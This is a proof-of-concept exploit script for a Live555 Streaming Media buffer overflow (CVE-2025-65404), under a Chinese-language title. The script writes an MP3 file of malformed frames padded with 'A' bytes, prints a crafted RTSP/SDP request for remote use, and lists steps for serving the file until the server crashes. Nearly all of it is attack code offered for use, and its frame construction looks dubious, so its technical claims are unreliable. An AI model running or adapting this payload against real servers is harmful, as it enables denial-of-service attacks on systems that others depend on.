CVE-2025-65404 Live555 getSideInfo2()缓冲区溢出漏洞导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-65404 PoC - Live555 getSideInfo2() Buffer Overflow This PoC generates a malicious MP3 stream that triggers buffer overflow in the getSideInfo2() function of Live555 Streaming Media v2018.09.02 """ import struct import sys def create_malicious_mp3(): """ Create a malformed MP3 frame that triggers buffer overflow in getSideInfo2() function """ # MP3 Frame Header (MPEG-1 Layer III) # Sync word (11 bits) + Version (2 bits) + Layer (2 bits) + Bitrate index + etc. frame_header = 0xFF # Sync word start frame_header = (frame_header << 5) | 0x06 # MPEG-1, Layer III frame_header = (frame_header << 4) | 0x01 # Bitrate index (128 kbps) frame_header = (frame_header << 2) | 0x00 # Sample rate 44100 Hz frame_header = (frame_header << 1) | 0x00 # Padding bit frame_header = (frame_header << 1) | 0x00 # Private bit # Create malicious side information # The vulnerability exists in parsing this data # Inject oversized data to cause buffer overflow malicious_side_info = b'A' * 1000 # Overflow payload # Main audio data main_data = b'\x00' * 500 # Construct the malformed frame mp3_frame = struct.pack('>I', frame_header)[1:4] + malicious_side_info + main_data return mp3_frame def create_mp3_file(filename, num_frames=100): """ Generate a malicious MP3 file with multiple frames """ with open(filename, 'wb') as f: for i in range(num_frames): frame = create_malicious_mp3() f.write(frame) print(f"[+] Malicious MP3 file created: {filename}") print(f"[+] Total frames: {num_frames}") print(f"[+] File size: {num_frames * len(create_malicious_mp3())} bytes") def create_rtsp_stream_payload(): """ Create RTSP stream payload for remote exploitation """ rtsp_options = ( "DESCRIBE rtsp://target-server/stream.mp3 RTSP/1.0\r\n" "CSeq: 1\r\n" "Accept: application/sdp\r\n" "\r\n" ) malicious_sdp = ( "v=0\r\n" "o=- 1234567890 1234567890 IN IP4 127.0.0.1\r\n" "s=Malicious Stream\r\n" "c=IN IP4 0.0.0.0\r\n" "t=0 0\r\n" "m=audio 0 RTP/AVP 14\r\n" "a=control:streamid=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...\r\n" ) return rtsp_options + malicious_sdp if __name__ == "__main__": print("=" * 60) print("CVE-2025-65404 PoC - Live555 Buffer Overflow") print("=" * 60) # Generate malicious MP3 file create_mp3_file("malicious_stream.mp3", num_frames=50) # Generate RTSP payload print("\n[+] RTSP Payload for remote exploitation:") print(create_rtsp_stream_payload()[:200] + "...") print("\n[!] Usage:") print("[!] 1. Serve the malicious MP3 file via HTTP/RTSP") print("[!] 2. Wait for Live555 server to process the stream") print("[!] 3. The server should crash with buffer overflow")